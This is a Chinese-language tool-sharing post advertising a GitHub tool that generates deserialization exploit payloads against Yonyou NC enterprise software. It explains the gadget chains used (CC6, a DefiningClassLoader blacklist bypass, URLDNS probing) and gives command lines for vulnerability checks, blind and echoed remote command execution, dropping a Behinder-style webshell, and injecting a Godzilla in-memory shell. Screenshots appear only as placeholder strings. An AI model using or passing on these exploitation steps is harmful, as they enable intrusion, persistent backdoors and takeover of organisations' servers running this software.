用友NC反序列化漏洞payload生成

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/Ghost2097221/YongyouNC-Unserialize-Tools

使用说明

  1. 前言

无回显的构造链直接使用的是 CC6执行命令,回显的构造链使用了DefiningClassLoader来绕过默认的黑名单,然后结合 CC6构造链进行任意代码执行。

搭配了接口检测功能和URLDNS构造链判断是否存在反序列化。

  1. 接口检查功能:java -jar nc6.5.jar http://127.0.0.1 Check

eedbbcbdbf091724

 

  1. URLDNS构造链探测:java -jar nc6.5.jar http://127.0.0.1 urldns http://123.dnslog.cn

3f5015881b091735

a7406ae4e5091747

b40e1ae24f091800

 

 

 

  1. 无回显命令执行:java -jar yonyouNCTools.jar http://192.168.222.130 blind calc.exe

0dcb4e5bf1091810

3efcee32e5091822

608be6c8c0091834

 

 

 

  1. 回显命令执行:java -jar yonyouNCTools.jar http://192.168.222.130 Execute,通过 Header头传递命令。

ff6a412d6f091845

e32044fda3091856

 

 

  1. 落地 webshelljava -jar yonyouNCTools.jar http://192.168.222.130 UploadShell "C:\Users\Administrator\Pictures\Camera Roll\1.jsp"

此处如果使用 java1.8运行,固定落地一个天蝎的 webshell,路径为:http://127.0.0.1/eozZEwBb.jsp,如果使用的是 java1.7运行,会重新动态编译,可以落地自定义的 webshell,路径随机。

a7b3832233091909

7a1f6adc4e091919

1c7c3fdcbc091931

695cd9a8b4091942

 

通过 java1.7落地自定义的 webshell,因为用到了动态编译,所有需要使用 jre下的 java.exe运行,否则动态编译失败。动态编译过程会提示使用了过时的 API,没有影响。

af554f3ab5091954

3e3d24e389092005

59e9fadae5092015

deb659ce64092025

7bcb3d20b4092035

  1. 注入内存马:java -jar yonyouNCTools.jar http://192.168.222.130 MemoryShell,注入的是一个 valve-Godzilla内存马。

52e5c7b377092050

c557c9a6b5092102

d1ae6001d6092113

35ee8d8213092125

 

标签:工具分享, 0day漏洞, POC脚本, EXP脚本